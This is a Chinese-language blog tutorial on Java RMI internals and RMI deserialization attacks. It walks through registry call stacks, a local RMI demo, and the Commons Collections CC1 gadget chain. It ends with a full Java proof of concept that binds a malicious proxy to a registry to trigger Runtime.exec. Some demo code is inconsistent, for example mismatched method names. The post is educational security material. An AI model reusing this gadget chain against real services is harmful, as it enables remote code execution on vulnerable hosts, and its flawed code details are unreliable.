RMI反序列化

一、RMI基础

1、RMI定义

要了解RMI原理,我们需要知道这个名词的含义和实际的意义是什么
1)RMI
RMI也叫远程方法调用,这里引用维基百科的定义

Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

通俗的来说,java中我们在自己的主机上实例化一个类调用其内部的方法,而RMI可以在另一台主机上调用我们这台主机上实例的方法。遵循JRMP协议,相当于浏览器请求超文本时遵循HTTP协议。

2、RMI原理

1)、RMI架构

java-rmi

2)、RMI通信过程

注意以下注册中心和服务端混用(注册中心相当于服务器上的mysql数据库一样),以register.lookup为例
1、RMI服务端向注册中心发起查询,registry.lookup("xxx");
2、Java会使用Stub代理,这一步调试是到了RegistryImpl_Stub.class中
3、Stub代理会将Remote对象传递给引用层Remote Reference Layer,同时会创建java.rmi.server.RemoteCall(远程调用)对象,代码为super.ref.newCall(...)
4、RemoteCall则会序列化RMI服务名称、Remote对象
5、RMI客户端的远程引用层(sun.rmi.server.UnicastRef)传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
6、RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch)
7、Skeleton调用RemoteCall反序列化RMI客户端传过来的信息
8、Skeleton处理客户端请求:bind(list、lookup、rebind、unbind),如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
9、RMI客户端反序列化服务端结果,获取远程对象的引用。
10、RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
11、RMI客户端反序列化RMI远程方法调用结果。
客户端发送调用栈1-5(有省略)

newSocket:595, TCPEndpoint (sun.rmi.transport.tcp)
createConnection:198, TCPChannel (sun.rmi.transport.tcp)
newConnection:184, TCPChannel (sun.rmi.transport.tcp)
newCall:322, UnicastRef (sun.rmi.server)
lookup:-1, RegistryImpl_Stub (sun.rmi.registry)
main:16, RMIClient (com.weblogictest.rmitest)

服务端接收调用栈6-8(有省略)

readObject:349, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:390, UnicastServerRef (sun.rmi.server)
dispatch:248, UnicastServerRef (sun.rmi.server)
run:159, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:155, Transport (sun.rmi.transport)
handleMessages:535, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:649, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runTask:895, ThreadPoolExecutor$Worker (java.util.concurrent)
3)、RMI和注册中心Register

1、注册中心原理
这一部分单独提出来写是因为自己在学习RMI注入的过程中一直不明白注册中心和服务端是个什么关系,网上有一些文章总是说到利用RMI反序列化攻击注册中心,也有RMI攻击服务端,但是我自己思考的是注册中心不就在服务端吗,攻击注册中心和攻击服务端没什么两样啊。经过一些搜索,我找到并总结了这样的一个原理。
RMI的注册中心是用来注册RMI服务端或客户端的对象,当我们需要调用远程对象时,就会使用lookup函数去注册中心查找,然后注册中心给我们该远程对象在服务端jvm虚拟机中的地址,我们从而能够实现对远程对象的调用,此时我们的调用就不再经过注册中心,而是直接和服务端的远程对象交互。这里给一个示意图

4)、RMI通信的理解

在第二部分中,我阐释了RMI通信过程的主要原理,但有一些隐含的知识没有提及。

1、RMI通信过程从服务端到注册中心相当于服务端的web服务和mysql数据库的通信,只不过注册中心(也可叫注册表)需要和RMI服务端在同一主机上,这不同于mysql数据库可以做到站库分离。这一点很重要,对于理解后面RMI反序列化攻击的demo有很大意义。这里经过调试,客户端确实不能远程bind对象到注册中心,我们可以看一个demo。

//注册中心放置在另一台主机上
//导包
...
//remote对象的实现细节省略

 Registry registry = LocateRegistry.getRegistry("112.74.173.93",1099);
 registry.bind("pwn",remote);
//异常捕获

执行结果如下图

2、那么RMI最后和注册中心通信完会采用什么方式和服务端连接呢?相信如果有认真读就会发出这样的疑惑。我们用web应用作对比,客户端和mysql用一个jdbc协议,客户端和web端用http协议。那么RMI的客户端通过lookup获得了远程对象的属性后,我们可以称作是一个id,那么就可以直接通过这个id和远程对象利用socket通信,这里用的是TCP协议。这里我们同样实现一个demo(同RMI的实现)。一个注册中心,一个客户端lookup对象后利用获取的id对远程对象实现调用。

这里给一个调用远程方法的调用栈,其中并没有用到Stub

transform:365, InstrumentationImpl (sun.instrument)
get:47, WeakClassHashMap (sun.rmi.server)
getMethodHash:241, RemoteObjectInvocationHandler (java.rmi.server)
invokeRemoteMethod:178, RemoteObjectInvocationHandler (java.rmi.server)
invoke:132, RemoteObjectInvocationHandler (java.rmi.server)
Demo:-1, $Proxy0 (com.sun.proxy)
main:17, RMIClient (com.weblogictest.rmitest)

3、RMI实现demo

我们要创建一个RMI服务端和客户端之间的通信,都在本地同一台计算机上模拟。大致流程如下

1)、创建接口

创建一个接口,接口中实现给一个方法作展示,此处需要注意接口必须继承Remote,且所有方法必须抛出RemoteException

/*InterfaceRemote.java*/
package com.weblogictest.rmitest;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface InterfaceRemote extends Remote{
    // 所有方法必须抛出RemoteException

    public String RmiDemo() throws RemoteException;
}
2)、实现接口

实现该接口,此处需要注意实现接口的类必须继承UnicastRemoteObject
RemoteDemo.java

package com.weblogictest.rmitest;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteDemo extends UnicastRemoteObject implements InterfaceRemote {
    protected RemoteDemo() throws RemoteException{
        super();
    }
    @Override
    public String Demo() throws RemoteException {
        System.out.println("RmiDemo..");
        return "Here is RmiDemo is achieved by Server ";
    }
}
3)、创建服务端

创建一个RMI服务端,此处需要注意的是服务端和客户端需要有共同的接口
/RMIServer.java/

package com.weblogictest.rmitest;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main( String[] args )
    {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            registry.bind("demo",new RemoteDemo());
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}
4)、创建客户端

/RMIClient.java/

package com.weblogictest.rmitest;
import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
    public static void main(String[] args) throws IOException {
        try {
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            InterfaceRemote remoteDemo = (InterfaceRemote)registry.lookup("demo");
            System.out.println(remoteDemo.Demo());
        } catch (NotBoundException e) {
            e.printStackTrace();
        }
    }
}
5)创建注册中心

创建一个注册中心,需要注意的是注册中心只能绑定1099端口,否则就会出错
/RMIRegister .java/

package com.weblogictest.rmitest;
        import java.io.IOException;
        import java.rmi.NotBoundException;
        import java.rmi.registry.LocateRegistry;
        import java.rmi.registry.Registry;
public class RMIRegister {
    public static void main(String[] args) throws IOException {
        try {
            Registry registry = LocateRegistry.createRegistry("127.0.0.1",1099);
            System.out.println("Listening on 1099");
        } catch (NotBoundException e) {
            e.printStackTrace();
        }
        while (true);
    }
}

二、Common collections反序列化基础

1、前言

该部分前半部分网上已经有了较多分析,可以通过Common collections反序列化的关键词去检索。也可以看看我的这篇文章Common collections反序列化。这里简单对下面攻击要用到的cc1链payload做一个解析。

2、Common collections分析

1)、动态代理

动态代理可以代理在不修改原来类的情况下,为原来的类的方法实现功能拓展。比如我们有一个第三方的类可以用来完成爬虫功能,但是我们想要在这个爬虫爬取功能开始之前向我们发送一个提示,爬取完后也增加一个提示。而这个爬虫是别人封装好的类,我们无法修改源码,就可以使用动态代理的方式为其完成这个拓展。
CC链中动态代理的使用目的是为了将我们的map代理上AnnotationInvocationHandler,因为这个Handler里重写的readObject方法可以帮助我们实现反序列化。其实现代码如下

//获取构造类
Constructor<?> constructor = null;
//反射获取sun.reflect.annotation.AnnotationInvocationHandler类
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
//允许修改sun.reflect.annotation.AnnotationInvocationHandler类
constructor.setAccessible(true);
//创建InvocationHandler 实例,Proxy实例需要InvocationHandler 
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,tmpMap);
//为map加上动态代理后加代理实例转换成Remote接口类,以便能实现RMI的功能
Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
2)、触发

本次的触发点主要是在sun.reflect.annotation.AnnotationInvocationHandler的readObject中,反序列化发生时会调用该链底层的invoke去执行命令。主要看看下一部分的整体调用流程即可

3)、整体调用流程

反序列化触发-->代理类中的InvocationHandler实例的重写readObject方法被触发-->readObject中checkSetvalue被执行-->放入InvocationHandler实例中的memberValue(即是Map)的setValue被执行-->chainedTransform被执行-->...最终到达命令执行的终点

三、RMI反序列化攻击

1、前言

目前网上有很多利用RMI反序列化攻击的文章,可能是思路各不相同的原因,我觉得部分文章存在着误导性。我们已知,服务端和注册中心是在同一台主机上,那么利用RMI服务端攻击注册中心并没有实际的意义。所以我认为这部分仅仅是作为RMI反序列化利用链的参考。其次,RMI客户端能否攻击服务端,我们知道,只有使用register.lookup才能访问到注册中心,而注册中心会存在反序列化,但lookup传递的仅仅是一个字符串而已。所以,在RMI中利用客户端攻击注册中心,或者直接针对服务端攻击是不可行的,需要别的利用条件,这里暂且不谈。就用已有的例子来分析攻击思路。

2、RMI服务端攻击注册中心

1)、RMI反序列化攻击注册中心的实质是服务端bind远程对象到注册中心,从而该对象在注册中心反序列化引发RCE。我们改写服务端如下

package com.weblogictest.rmitest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIExploitClient {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","sss");//左边的值必须要是value
        Map outputMap = TransformedMap.decorate(innerMap,null,transformer);
        try {
            Constructor<?> constructor = null;
            constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class,outputMap);

            Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMIExploitClient.class.getClassLoader(), new Class[] {Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            registry.bind("sa",remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

2、我们启动注册中心,run一下服务端代码,如图:

posted @ 2020-07-25 23:36  qianxinggz  阅读(1832)  评论(0编辑  收藏  举报